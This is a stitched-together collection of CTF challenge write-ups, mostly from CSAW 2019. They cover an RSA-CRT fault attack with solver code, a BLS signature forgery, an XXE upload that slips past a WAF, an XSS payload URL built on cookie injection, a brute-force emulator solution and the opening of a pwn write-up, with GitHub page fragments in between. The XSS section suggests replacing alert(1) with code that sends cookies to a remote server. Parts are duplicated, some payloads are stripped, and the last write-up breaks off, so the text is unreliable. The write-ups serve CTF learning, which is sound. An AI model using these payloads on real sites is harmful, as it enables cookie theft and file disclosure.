`flag` and `fake_flag` is signed by textbook RSA. I have only two oracles to recover real flag since `cnt` variable is initially set to `2` and decremented after using the oracle. Public modulus `n` will be newly updated after two trials. Luckily, we can use RSA encryption oracle without decreasing `cnt`.
`TEST_CRT_encrypt()` method deliberately injects error while RSA signing, by XORing `fun` with intermediate values. I notice this is a classic [fault attack on RSA CRT](https://crypto.stackexchange.com/questions/63710/fault-attack-on-rsa-crt).
#### Steps for recovering information and getting the flag
I followed three steps to obtain the plaintext `flag`. Each step will be elaborated.
1. By using the encryption oracle, recover public modulus `n`.2. Find fake flag and factor `n` by using faulty signed `fake_flag` value.3. Derive private key `d` based on prime factors of `n` and get the `flag`.
Step 1: To recover `n`, I first signed message `msg1 = "\x02"`, `msg2 = "\x03"`, `msg3 = "\x04"`. Public exponent `e = 65537` is given. I can obtain `n` by using [gcd](https://en.wikipedia.org/wiki/Greatest_common_divisor), based on the fact of basic RSA encryption.
```pythonmsg1 = enc_msg("\x02")msg2 = enc_msg("\x03")msg3 = enc_msg("\x04")n1 = gcd(pow(2, e) - msg1, pow(3, e) - msg2)n2 = gcd(pow(3, e) - msg2, pow(4, e) - msg3)```
If `n1 == n2` and `n1 % 2 == 1`, the value of `n1` is very likely to be `n`. If not, I can simply try again.
Step 2: After knowing the value of `n`, its time to recover `fake_flag` and `n`'s factor (`p`, `q`). `fake_flag` has interesting format: `fake_flag = "fake_flag{%s}" % (("%X" % base).rjust(32, "0"))`. I can simply bruteforce the value of `base` and recover `fake_flag` because of the following equations from method `TEST_CRT_encrypt()`. Let me denote the candidate `fake_flag` be `fake_flag_cand`.
```pythonc1 = pow(fake_flag_cand, e, p)c2 != pow(fake_flag_cand, e, q) ^ fun # fault injected!!!c1 - pow(fake_flag_cand, e) = k1 * pc2 - pow(fake_flag_cand, e) != k2 * p=> c - pow(fake_flag_cand, e) = k * p```
Therefore, If I calculate gcd of `c - pow(fake_flag_cand, e, n)` and `n`, and when its value is positive integer larger than `1`, then the gcd will be the factor `p`. `fake_flag_cand` will be the real `fake_flag`. Get the value `c = fake_flag_fault_enc` by calling method `TEST_CRT_encrypt()`(`cnt` becomes `1`). The factor can be justified by calculating remainder of `n` divided by `p` to be `0`. The process can be implemented by the below python script.
```pythonwhile True: fake_flag_cand = "fake_flag{%s}" % (("%X" % base).rjust(32, "0")) p_cand = gcd((pow(s2n(fake_flag_cand), e, n) - fake_flag_fault_enc) % n, n) if p_cand != 1 and n % p_cand == 0: prime, q = p_cand, n / p_cand assert prime * q == n and is_prime(prime) break base += 1```
Step 3: By knowing factors of `n`, I derive private key `d` and get the real `flag`. Ask server to get the value of encrypted real flag(`cnt` finally becomes `0`). I get the flag:
```flag{ooo000_f4ul7y_4nd_pr3d1c74bl3_000ooo}```
exploit driver code: [solve.py](solve.py)
server: [server.py](server.py)
server ported to local: [local.py](local.py) |
# CSAW CTF Qualification Round 2019 : Brillouin
**category** : crypto
**points** : 500
**solves** : 39
## write-up
This challenge use Boneh–Lynn–Shacham Scheme for signature verification
You can read [this article](https://medium.com/cryptoadvance/bls-signatures-better-than-schnorr-5a7fe30ea716) first
In line 66, the server didn't check the third public key, so we can forge a public key here
Read the source code of `bls.scheme.aggregate_vk` [here](https://github.com/asonnino/bls/blob/master/bls/scheme.py#L54)
First `chester_sign` to sign a valid signature `s` of 'this stuff'
Send `s` and `2 * s` as signatures to server
Forge the third public key to cancel the second public key and make the `aggregate_vk` calculate to `publics[2] + 2 * publics[2]`
Becuase the `Threshold` is True, it is actually calculate to `l2[0] * publics[2] + l2[1] * 2 * publics[2]`
flag: `flag{we_must_close_the_dh_gap}`
# other write-ups and resources |
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<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/t00sh/ctf/refs" cache-key="v0:1613614535.017087" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dDAwc2gvY3Rm" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/t00sh/ctf/refs" cache-key="v0:1613614535.017087" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dDAwc2gvY3Rm" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
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# unagi (200 pts)
> come get me> http://web.chal.csaw.io:1003
Upon visiting the web page, we are presented with a navbar containing > Home | User | Upload | About
We are able to learn that the webserver is running Apache + PHP through basic observation. (Links contain .php, Server included in response headers)
In `About`, it tells us the flag is in flag.txt. Awesome.
For `User`, the contents are
```Name: AliceEmail: [email protected]Group: CSAW2019Intro: Alice is cool
Name: BobEmail: [email protected]Group: CSAW2019Intro: Bob is cool too```
For `Upload`, we are given a _`sample.xml`_ and an option to upload our own xml. The contents of _`sample.xml`_ are as follows:
```xml<users> <user> <username>alice</username> <password>passwd1</password> <name>Alice</name> <email>[email protected]</email> <group>CSAW2019</group> </user> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>[email protected]</email> <group>CSAW2019</group> </user></users>```
Interestingly, there is no `<intro></intro>` element as shown in the `User` page. When we copy the sample verbatim and upload it, we get an output of```Name: AliceEmail: [email protected]Group: CSAW2019
Name: BobEmail: [email protected]Group: CSAW2019```
So lets try a basic XXE injection with PHP wrapper using `]>` . This time we get a message saying `WAF blocked file upload` or something amongst those lines.
Upon googling around, I came upon [this article](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0). According to method 3, some WAF may not be able to parse different encodings. So we try to save our file as `UTF-16-BE` in any code editor (VSCode in my case) and upload it.
The upload works, and the injection succeeds however we can only see 20 `A`'s. Apparently the output truncated. After wasting huge amount of time, I remembered about the `<intro></intro>` element. Apparently it is not truncated so we use it to get our flag.
Solution (saved in `UTF-16-BE` encoding):```xml]><users> <user> <name>name</name> <email>email</email> <group>group</group> <intro>&flag;</intro> </user></users>
``` |
# CSAW CTF Qualification Round 2019 : Byte Me
**category** : crypto
**points** : 50
**solves** : 100
## write-up
This challenge doesn't have source code
```2a1bdfb7ebbe650f321ce2a77a04dd5ecd5e8e01d76199ecc1e297aed8c55e7f0a27082856274b313c0fa172325ef8fb367df56cc99a51012c141999b71aa805Tell me something: aa6ee608a947872f083d1e4daa999b8838fb7cddcc836ea190c901b8d07939b0674e9a066d0fbf50eea7046e8d79ad550377c175d3a5eb5bd2b8cc80cac5a778f0Tell me something: aaaac620a8a963feef6b2505c07b8ed133ef01eb5054f8995613af1bb72735d422fa31d36f35cbe863898ea16650e75100d4755ed5a9832bf96d1b7bbd3101deed44```
Server will give us some hash depending on our input
After some time of trying and guessing, I figure out that the source code should looks like this
```pythondef block_hash(data): ans = b'' for i in range(0, len(data), 16): ans += hash(data[i:i+16]) return ans
block_hash(salt + user_input + flag)```
The length of salt is unknown, so we need to find out the length of salt first
Then we can retrieve the flag character by character ( see source code for more detail )
flag: `flag{y0u_kn0w_h0w_B10cks_Are_n0T_r31iab13...}`
# other write-ups and resources |
# CSAW CTF Qualification Round 2019 : DES 2 bites
**category** : crypto
**points** : 200
**solves** : 106
## write-up
The hint on the challenge said that this challenge use weak keys in DES
Just brute force every weak keys in DES ([you can found all weak keys here](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-67r1.pdf))
flag: `flag{~tak3_0n3_N!bbI3_@t_@_t!m3~}`
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2019</span></span><span>/</span><span><span>csaw</span></span><span>/</span>brillouin<span>/</span> </div> </div>
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Static analysis: Look for suspicious strings. Find the text `flag.txt`. Find nearby code that looks like you might want to jump to it.
Dynamic analysis: Try stuff. Discover that the binary jumps to the address given by the first argument, interpreted in hexadecimal.
Step 3: ???
```$ nc rev.chal.csaw.io 1001Give me two args, space separated:400cbb whateverflag{you_got_the_call_site}Wrong!```
Profit! |
# CSAW CTF Qualification Round 2019 : Count On Me
**category** : crypto
**points** : 100
**solves** : 120
## write-up
Find the seed that produce duplicated blocks
Because we have the first 16 characters, we can use the first block to solve the other block by xor
flag: `flag{U_c@n_coUn7_0n_m3_l1kE_123}`
# other write-ups and resources |
[中文](./README_zh.md) [English](./README.md)
## Mine Sweeping
>source unity project : `Mine Sweeping Unity`>>problem : `Mine Sweeping Exe\Mine Sweeping.exe`
### Analysis
Elements.cs```C#class Elements: MonoBehaviour{ void Awake() { int x = (int)transform.position.x; int y = (int)transform.position.y; //According to the global array to set whether the grid is mine or open space bIsMine = (((MayWorldBeAtPeace[x, y] ^ AreYouFerryMen[x, y]) - 233) / 2333) == 1 ? true : false; //Bind the object instance to the grid according to the position of the grid Grids._instance.eleGrids[(int)transform.position.x, (int)transform.position.y] = this; //The corresponding grid value setting in the grid Grids._instance.DevilsInHeaven[(int)transform.position.x, (int)transform.position.y] = (bIsMine == true ? 1 : 0); //Hide the reset button resetButton = GameObject.FindGameObjectWithTag("resetButton"); if (resetButton) resetButton.SetActive(false); }
// Start is called before the first frame update void Start() { //Confusion map when initializing Grids._instance.ChangeMap(); //For test only //DawnsLight(); } ... void OnMouseUpAsButton() { //mouse click on the corresponding grid trigger if (!Grids._instance.bGameEnd && !bIsOpen) { //not open yet //set it open bIsOpen = true; int nX = (int)transform.position.x; int nY = (int)transform.position.y; if (bIsMine) { //show mine SafeAndThunder(0); Grids._instance.bGameEnd = true; //game lose Grids._instance.GameLose(); print("game over: lose"); } else { //not the mine, show the number of mines around + open the adjacent grid without any mine around int adjcentNum = Grids._instance.CountAdjcentNum(nX, nY); SafeAndThunder(adjcentNum); Grids._instance.Flush(nX, nY, new bool[Grids.w, Grids.h]); } if (Grids._instance.GameWin()) { //game win Grids._instance.bGameEnd = true; print("game over: win"); } } }}```Elements.cs is a script that hangs on each grid.`Awake` determines whether the grid is a mine or an open space.In `Start`, the six swing but fixed positions in the map are randomized. `OnMouseUpAsButton` detects whether the current grid is a mine and performs corresponding processing.
Grid.cs```C# public bool GameWin() { foreach (Elements ele in eleGrids) { if (!ele.bIsOpen && !ele.bIsMine) { //exist any grid which is not mine return false; } } foreach (Elements ele in eleGrids) { //load the QR code ele.DawnsLight(); } return true; }
public void ChangeMap() { System.Random ran = new System.Random((int)System.DateTime.Now.Millisecond); const int SwingNum = 6; const int Start = 0; const int End = 100; int[] SwingPosX = new int[SwingNum]{ 9, 15, 21, 10, 18, 12, }; int[] SwingPosY = new int[SwingNum]{ 0, 7, 15, 3, 16, 28 }; int[] RandomNum = new int[SwingNum]; for (int i = 0; i < SwingNum; i++) { RandomNum[i] = ran.Next(Start, End); }
for (int i = 0; i < SwingNum; i++) { int x = SwingPosX[i]; int y = SwingPosY[i]; eleGrids[x, y].bIsMine = RandomNum[i] > 60 ? false : true ; DevilsInHeaven[x, y] = eleGrids[x, y].bIsMine == true ? 1 : 0; } }```Grid.cs is a script that controls all grids. The main thing is to detect whether the game wins or loses and presses the reset button. The ChangeMap function randomizes the 01 of the swing bits to confuse the game.
### exp1. Just record: every time you click on the mine, record the position of the mine. Anyway, the reset button will only turn the grid to be not open, and will not change the 01 value of the grid. 30 minutes is enough.2. Reverse: analyze Elements.cs, know that whether each grid is mine is determined by the global array, and then the global array `MayWorldBeAtPeace` and `AreYouFerryMen` can be processed accordingly.3. Dynamic debugging: after the game goes in, check the Grid.cs, which is used to save the game data so that the reset button executes the `DevilsInHeaven` array.4. Change the code: modify the if statement of the game to win or lose in Grid.cs, and load the last QR code directly. |
## This is a small solutions review of a problem "Baby_RSA" from Tokyo Western CTF
# Filesproblem.pyoutput.txt
# Problem definition
problem.py
```pythonflag = 'TWCTF{CENSORED}'
# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091e = 65537flist=[]# Encrypt the flag!for char in flag: flist.append(pow(ord(char), e, N))```
Here is a data piece of "output.txt"
```pythonprint(flist)```
[9073209977571176486825453267118351996016396235857623493182258724402523182425555398048461088180575997426276026776186441023571190870577545894667546140441145538176352391499376279774875943812941321565506013356240326235158415041323709138860753984228634160552040417002326854872319407516200542564071756611880349380322282130265915072405694912128104078505106072784722670288292878670301302909960910520529391182927036489958388823511447221117040898358990430312656065571576446469592472217394596577973531530126373565564994195530324540432367900449603179849204693929275999798234441199340509474634967526614647348655247823230784374, 35639404627961781906461142088755137025298630410895631726441472610366623418342364917283665767957562174282457589855677069495230225819581200731431201665184892116733696486682454477915290834433777530535524437371339472350901843618705506005661289326664321691979577977602624815055003117998229419500683672655441419257356643852257251251761502995787965709527112696847071565558861604427364918548619913860926470431333287513742767137365798593418198144415567391257323940575314966786015734312154108604715446101475223727342693907796501114753375280182345362719422538419079170715967729017805398797931366993519156066479380119809407749, ...]
Here is a discription how RSA works:
# Solution description
#### 1. Let's encode each "possible" simbol using public key (e, N), e is public exponent, N is modulus. RSA: $$c = (unicode [m])^e mod (N)$$
```pythonalphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}' #ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890?,./<>?!@#$%^&*()-_=+dictionaryRSA = {}
for char in alphabet: dictionaryRSA[str(pow(ord(char), e, N))] = char ```
This is how our dictionary looks like: ```pythonprint(dictionaryRSA)```
{'8039756180396402818033960239923473145686150984028744821388059114588151485537292149796913866199978422862651737232228389849691629240968066238877962028093286575650246355855437272615799537085859383380861156282433158508274532697395220972522490970824118480262302411620928071761310266610104998827671291575984605277374513331908993590772515955675049856058733058452152348393529399957756600922532875285030993213053887136711141806142283031801945035446945182165115513185975629915145345481577919122682503955071242283897537607380896224804901248019803404783728742533343512538383716598109574497231061322903509894668128804543534570': 'A', '25895935743782346003706465388357299495999498265530810710528216642884899687310536937638633837417363154822586800324091935766996592008195494163748724744018968957978035382330076230779217616947358158889160545974950009144804893383606930662369858807070496545325170919141266043409690927694203311692984804780232124069050839679538069198236198755682998601366406714879241541127908766028826399339248884006938215383485237113065329036316369029352382695048534440573200931589388307707004271260161777038461055496188131586128820437698749123971582639424276453270496539979269272102254759232658932191248472580461596072069717446778407231': 'B', ...}
#### 2. For each string into 'output' we find the decode simbol from the dictionaryRSA (variant 1)
```pythonflag = ''
with open('C:/Users/Julia/Documents/CTF/1sep2019/real-baby-rsa-037dd23e2f3b23038ee248487817bc1ad6636e1057e671826bea4e03a9acc79e/real-baby-rsa/output', 'r') as f: for line in f: flag += dictionaryRSA[str(line.strip())] #print(str(line.strip()))#print(fstr)print(flag)```
Output is: TWCTF{padding_is_important}
Also, there is different solutions from other teams:
variant 2
variant 3
variant 4
variant 5
 |
# Mission Invisible
#### Score: 128
## Description
You need to obtain the flag through two different invisible places. http://52.52.236.217:16401/ Submit payload here: http://52.52.236.217:16403/
## Write UP The page contains multiple JavaScript functions. It reads the value of the GET parameter named "tag", sets it as a cookie, and then,using the data provided in the cookie, creates a DOM element:
var tag = getUrlParam("tag"); setCookie("tag", tag); setElement(tag); **setElement:**
function setElement(tag) { tag = tag.substring(0, 1); var ele = document.createElement(tag) var attrs = getCookie("attrs").split("&";; for (var i = 0; i < attrs.length; i++) { var key = attrs[i].split("=")[0]; var value = attrs[i].split("=")[1]; ele.setAttribute(key, value); } document.body.appendChild(ele); }
This function creates the element. You may notice two interesting things:
1. A substring is preformed on the value of tag, and only the first char of the string is taken. That means that we can only createtags that are single lettered. So no `<script>` tags, we are forced to use `` or `` for example. 2. The function cycles through a cookie named **attrs**, splits it by `&`, and uses the data to create attributes for the tag.Without figuring out how to set attributes, we only have a static, boring `` tag, and it doesn't help us much. So how can we causethe JavaScript code to set the attrs cookie?
**getCookie:**
function getCookie(name) { var search = name + "=" var offset = document.cookie.indexOf(search) if (offset != -1) { offset += search.length; var end = document.cookie.indexOf(";", offset); if (end == -1) { end = document.cookie.length; } return unescape(document.cookie.substring(offset, end)); } else return ""; }
Well... We don't. Notice what happens when we visit the URL http://52.52.236.217:16401/?tag=pattrs=testand run the following JS commands in the console:
> document.cookie < "tag=pattrs=test" > getCookie("attrs") < "test" So what happend here? First, the page sets the tag cookie to the value "pattrs=test".Because the function searches for **any** appearence of the string "attrs="in the document.cookie string, it finds it in index 1: "p **attrs=** test".
Now, if we will try to create a custom element, we encounter another problem:http://52.52.236.217:16401/?tag=aattrs=href=https://google.com&test=yay
We can't create elements with multiple attribute, because in the first function, `getUrlParam`, there's the following regex:
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); var r = unescape(window.location.search.substr(1)).match(reg); Which splits the string by the char `&`. To bypass it we need to URL encode the sign `&` twice, like so:
escape(escape("&"))="%2526" Now that should work! http://52.52.236.217:16401/?tag=aattrs=href=https://google.com%2526test=yay
To actually trigger the XSS, I've created the following p tag:
By appending a hash (`#` sign, not a cryptographic hash) to the end of the URL, We can make the browserautomaticlly focus on the object and trigger the`onfocus` event. For those who are not familiar with how the hash in URLs works, the following link: http://site.com#wow wouldcause the browser to automaticlly focus on the object that has the id "wow".
` for example. 2. The function cycles through a cookie named **attrs**, splits it by `&`, and uses the data to create attributes for the tag.Without figuring out how to set attributes, we only have a static, boring `
` tag, and it doesn't help us much. So how can we causethe JavaScript code to set the attrs cookie?
**getCookie:**
function getCookie(name) { var search = name + "=" var offset = document.cookie.indexOf(search) if (offset != -1) { offset += search.length; var end = document.cookie.indexOf(";", offset); if (end == -1) { end = document.cookie.length; } return unescape(document.cookie.substring(offset, end)); } else return ""; }
Well... We don't. Notice what happens when we visit the URL http://52.52.236.217:16401/?tag=pattrs=testand run the following JS commands in the console:
> document.cookie < "tag=pattrs=test" > getCookie("attrs") < "test" So what happend here? First, the page sets the tag cookie to the value "pattrs=test".Because the function searches for **any** appearence of the string "attrs="in the document.cookie string, it finds it in index 1: "p **attrs=** test".
Now, if we will try to create a custom element, we encounter another problem:http://52.52.236.217:16401/?tag=aattrs=href=https://google.com&test=yay
We can't create elements with multiple attribute, because in the first function, `getUrlParam`, there's the following regex:
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); var r = unescape(window.location.search.substr(1)).match(reg); Which splits the string by the char `&`. To bypass it we need to URL encode the sign `&` twice, like so:
escape(escape("&"))="%2526" Now that should work! http://52.52.236.217:16401/?tag=aattrs=href=https://google.com%2526test=yay
To actually trigger the XSS, I've created the following p tag:
The `contenteditable` attribute is needed to trigger the onfocus event.
And here is the final payload: http://52.52.236.217:16401/?tag=pattrs=id=wow%2526onfocus=alert(1)%2526contentEditable=#wowYou can substitute the `alert(1)` with code that'll log the cookies of the browser to your remote server,and get the flag that's hidden inside. |
Loading the world into Minecraft a welcome text i presented on signs.It states that a wheel needs to be set at the right offset to decrypt the password, you can then hit a button and a lamp lights up.
Looking at the mechanism behind the "control room" we see 3 different constructions:1. The cipher wheel2. A logic block3. A tall tower of alternating blocks
Pushing the button in the control room, makes a piston push out a block of the tower, indicating a increment in the program, and turn the cipherwheel once.It is possible to turn the cipherwheel manually, and this is used to set the offset.
The logic block is a simple redstoneimplemented bitwise xor, with the two inputs from the cipher wheel and the tower of blocks.
In minecraft redstone (wiring) has some properties deppending on the type of blocks used with it. Redstone power passes through wool and not glass, and sand but not the eggs. As seen here:
Putting this together, it turns out to be a crude xor cipher, with the key being the wheel and the turning of it has the same function as a modulus. The tower is the ciphertext, and the block that lights up indicates the current bit.
The most timeconsuming part of this challenge comes in writing down the tower as 0 and 1.The key is 11 bytes long, and as such bruteforcing the position of it is rather easy:flag{m1n3cr4f7_x0r_71m3} |
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# Halfpike
**REV 500**
**28 Solves**
**Challenge description**:
Ah, the 70's, a time of love, rock and roll, and the emergence of the microprocessor. At that time, a young upstart company by the name of Intel was doing a contracting job to keep the lights on, and they created an interesting little chip: the Intel 4004. Today, we've mostly forgotten that cute little CPU's legacy, so it might be good for us all to have a little reminder about how innovative it was!
[This might come in handy](https://archive.org/details/bitsavers_intelMCS4MProgrammingManualDec73_5215098)
Author: Josh Hofing (@hyperosonic, @trailofbits)
---
The intended solution is to reverse engineer the `chal.rom` which can be disassembled by radare2, but as I am not familiar with the CPU and didn't want to spend too much time reading the manual, I decided to address this problem using a different method..
### Brute forceWe could just brute force the flag, but without some tricks this would take way too long, as the execution time increases with the input size and can take several seconds. But we have the code for the emulator. And from the disassembly I know that there are some instructions like:```0x0000000f sub r110x00000010 jcn 4 0x25```And if I would do some input testing I would load the input and the relevant part of the flag in two registers or memory locations and then subtract them. Depending on whether the result is zero, in this case they are equal, I would jump to different code sections. Therefore I just patched the emulator to write the result of each `sub` instruction to stdout. ```{Opcode::SUB, [decode_pc](Machine_State &state) { const auto reg_num = state.rom.at(decode_pc.get()) & 0xf; // we do the subtract in full-width by adding complements of the // reg and state, then grab the bits we want from the result auto result_full = state.acc.get() + ~state.registers[reg_num].get() + (~state.carry_bit.get() & 0b1); state.carry_bit = (result_full & 0x10) >> 4; state.acc = result_full & 0xf; if (decode_pc.get() == 0xf || decode_pc.get() == 0x83){ printf("%x\n",(state.acc.get())); }}},```Now I just have to count the number of times `0` is written to stdout when running a test for the next character. The *best* test (the test with the highest amount of `0`) should contain the most similar string. By automating this with a simple and stupid python script we should get the flag!
### Don't give up earlyAt least in theory and my first attempt was already quite promising..```import subprocessch = "_{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"def fn(): k = "" for x in range(1,10): t = k best = 0 best_c = '' for j in range(0,len(ch)): c = t+ch[j] print("testing: %s" %(c)) cmd = """echo "%s" | ./emu_patched chal.rom""" %(c) try: a = subprocess.Popen(['sh','-c',cmd], stdout=subprocess.PIPE) n = str(a.communicate()[0]) g = n.split('\\n').count('0') print("score: %d" %(g)) if g > best: best = g best_c = ch[j] except KeyboardInterrupt: return except Exception as e: return k=k+best_cfn()```
I patched the emulator to terminate as soon as `(` is printed to stdout:
```{Opcode::WRR, [decode_pc](Machine_State &state) { // this is technically not *quite* what this instruction is // supposed to do, but y'know, gotta get io and this does io. if (state.write_hold.has_value()) { char c = (state.write_hold->get() << 4) | state.acc.get(); putchar(c); if(c=='('){ exit(0); } state.write_hold = std::nullopt; } else { state.write_hold = state.acc; }}},```
And got this after some time:```...score: 101testing: flag{intl_cpu{_{score: 102testing: flag{intl_cpu{_}score: 102testing: flag{intl_cpu{_ascore: 101testing: flag{intl_cpu{_bscore: 101testing: flag{intl_cpu{_cscore: 102testing: flag{intl_cpu{_dscore: 101testing: flag{intl_cpu{_escore: 101testing: flag{intl_cpu{_f```
The idea seems to work, but also seems to break after `cpu` what happened?!
```...score: 101testing: flag{intl_cpu{_{score: 102testing: flag{intl_cpu{_}score: 102testing: flag{intl_cpu{_ascore: 101testing: flag{intl_cpu{_bscore: 101testing: flag{intl_cpu{_cscore: 102testing: flag{intl_cpu{_dscore: 101testing: flag{intl_cpu{_escore: 101testing: flag{intl_cpu{_f```
```testing: flag{intl_cpu_score: 98testing: flag{intl_cpu{score: 99testing: flag{intl_cpu}score: 98testing: flag{intl_cpuascore: 98testing: flag{intl_cpubscore: 98testing: flag{intl_cpucscore: 99testing: flag{intl_cpudscore: 98testing: flag{intl_cpuescore: 99testing: flag{intl_cpufscore: 98testing: flag{intl_cpugscore: 99testing: flag{intl_cpuhscore: 98testing: flag{intl_cpuiscore: 99testing: flag{intl_cpujscore: 98testing: flag{intl_cpukscore: 99...testing: flag{intl_cpusscore: 99testing: flag{intl_cputscore: 98testing: flag{intl_cpuuscore: 99testing: flag{intl_cpuvscore: 98testing: flag{intl_cpuwscore: 99testing: flag{intl_cpuxscore: 98testing: flag{intl_cpuyscore: 99testing: flag{intl_cpuzscore: 98...```There are multiple tests with the score `99` and no test was able to get higher, therefore the first was selected. I tried to debug this problem for some time and tried to understand the disassembly maybe the first part of the flag is checked differently than the last part?! I don't know.
Another team member tried to do a similar thing and counted the instructions and got stuck at the same point. One team member mentioned that the char could be a `s` but I just missed the message and was too frustrated to continue and went on to work on some rwctf challenges.
The day after the submission was closed I got back to finish my work. And let the script run in the background after I removed the upper-case letters and the digits, just to get motivated. After some time I wanted to see how it was doing and saw something like this.
```testing: flag{intl_cpu{_scare_jscore: 124testing: flag{intl_cpu{_scare_kscore: 124testing: flag{intl_cpu{_scare_lscore: 124testing: flag{intl_cpu{_scare_mscore: 125testing: flag{intl_cpu{_scare_nscore: 124testing: flag{intl_cpu{_scare_oscore: 124```
This was a very frustrating moment. If I would just have waited a bit longer before killing the process, I would have got the flag..```testing: flag{intl_cpu{_scare_me}_score: 129testing: flag{intl_cpu{_scare_me}{score: 129testing: flag{intl_cpu{_scare_me}}score: 129testing: flag{intl_cpu{_scare_me}ascore: 129testing: flag{intl_cpu{_scare_me}bscore: 129testing: flag{intl_cpu{_scare_me}cscore: 129testing: flag{intl_cpu{_scare_me}dscore: 129testing: flag{intl_cpu{_scare_me}escore: 129testing: flag{intl_cpu{_scare_me}fscore: 129testing: flag{intl_cpu{_scare_me}gscore: 129testing: flag{intl_cpu{_scare_me}hscore: 129testing: flag{intl_cpu{_scare_me}iscore: 129testing: flag{intl_cpu{_scare_me}jscore: 129testing: flag{intl_cpu{_scare_me}kscore: 129testing: flag{intl_cpu{_scare_me}lscore: 129testing: flag{intl_cpu{_scare_me}mscore: 129testing: flag{intl_cpu{_scare_me}n```
At this point the score won't differ as only 24 characters are checked as far as I know.
Now we can guess the invalid character to get this flag:
`flag{intl_cpus_scare_me}`
**Next time I will be more patient!** |
# BabyBoi writeup - 50pts
## What we haveThis chall provide us the following binary:
$ file baby_boi baby_boi: ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, not stripped
And a copy of libc-2.27, probably the same version used on the server.
First of all, I launched a [checksec](https://github.com/slimm609/checksec.sh) to have a better idea:
$ checksec baby_boi [*] './baby_boi' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
## DisassemblingThen I loaded the binary into IDA Pro:
